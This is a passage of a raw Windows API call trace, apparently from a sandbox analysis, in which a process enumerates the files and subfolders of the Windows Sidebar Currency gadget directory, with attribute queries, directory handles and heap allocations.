lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1792, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.html", cAlternateFileName="")) returned 1 [0090.039] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0090.039] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0090.039] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f2a0 [0090.039] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0090.041] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.041] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x133c868 [0090.041] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x133c868, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x133c868, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.041] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133c868) returned 1 [0090.041] NtClose (Handle=0x15c) returned 0x0 [0090.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131f2a0) returned 1 [0090.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f2a0 [0090.042] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.042] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f4b0 [0090.043] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.043] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.043] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104de, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.js", cAlternateFileName="")) returned 1 [0090.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.043] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.043] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.044] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.044] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f3a8 [0090.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2518 [0090.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f6c0 [0090.045] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.045] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="init.js", cAlternateFileName="")) returned 1 [0090.045] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.046] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2538 [0090.046] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f7c8 [0090.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.047] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x161e, dwReserved0=0x0, dwReserved1=0x0, cFileName="library.js", cAlternateFileName="")) returned 1 [0090.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.047] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.047] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.048] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2558 [0090.048] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f8d0 [0090.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.049] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2bf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedStrings.js", cAlternateFileName="")) returned 1 [0090.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.049] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.049] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2578 [0090.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f9d8 [0090.050] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.050] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="service.js", cAlternateFileName="")) returned 1 [0090.050] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.051] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.051] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f2598 [0090.052] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131fae0 [0090.052] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.052] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="service.js", cAlternateFileName="")) returned 0 [0090.052] GetLastError () returned 0x12 [0090.052] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0090.052] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.052] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.052] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x104de, dwReserved0=0x0, dwReserved1=0x0, cFileName="currency.js", cAlternateFileName="")) returned 1 [0090.052] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="init.js", cAlternateFileName="")) returned 1 [0090.052] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x161e, dwReserved0=0x0, dwReserved1=0x0, cFileName="library.js", cAlternateFileName="")) returned 1 [0090.052] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2bf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedStrings.js", cAlternateFileName="")) returned 1 [0090.053] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="service.js", cAlternateFileName="")) returned 1 [0090.053] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1e28, dwReserved0=0x0, dwReserved1=0x0, cFileName="service.js", cAlternateFileName="")) returned 0 [0090.053] GetLastError () returned 0x12 [0090.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131f4b0) returned 1 [0090.053] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131f3a8) returned 1 [0090.053] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131f2a0) returned 1 [0090.053] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0090.053] GetLastError () returned 0x12 [0090.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131ee80) returned 1 [0090.054] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0090.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131ef88) returned 1 [0090.054] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131ed78) returned 1 [0090.054] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb67725c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xbb67725c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xbb67725c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1ae9, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0090.054] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0090.054] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ed78 [0090.055] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.055] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\currency.gadget\\images"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0090.055] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0090.055] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x133c868 [0090.056] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x133c868, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x133c868, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0090.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x133c868) returned 1 [0090.056] NtClose (Handle=0x168) returned 0x0 [0090.056] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x131ed78) returned 1 [0090.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.056] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efcd8 [0090.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ed78 [0090.057] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.057] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ef88 [0090.057] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Currency.Gadget\\images\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0090.059] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819b78df, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819b78df, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.059] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb8048a8, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb8048a8, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb67725c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x3129, dwReserved0=0x0, dwReserved1=0x0, cFileName="activity16v.png", cAlternateFileName="")) returned 1 [0090.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.059] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.059] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131ee80 [0090.060] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efcd8) returned 1 [0090.060] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f25b8 [0090.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f2a0 [0090.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.061] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb661993, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb661993, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb67725c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x200, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_down.png", cAlternateFileName="")) returned 1 [0090.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.061] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.061] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.062] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f25d8 [0090.062] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f3a8 [0090.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.063] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb63b834, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbb63b834, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xbb69d3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="add_over.png", cAlternateFileName="")) returned 1 [0090.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.063] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.063] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.064] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f25f8 [0090.064] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x131f4b0 [0090.065] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.065] FindNextFileW 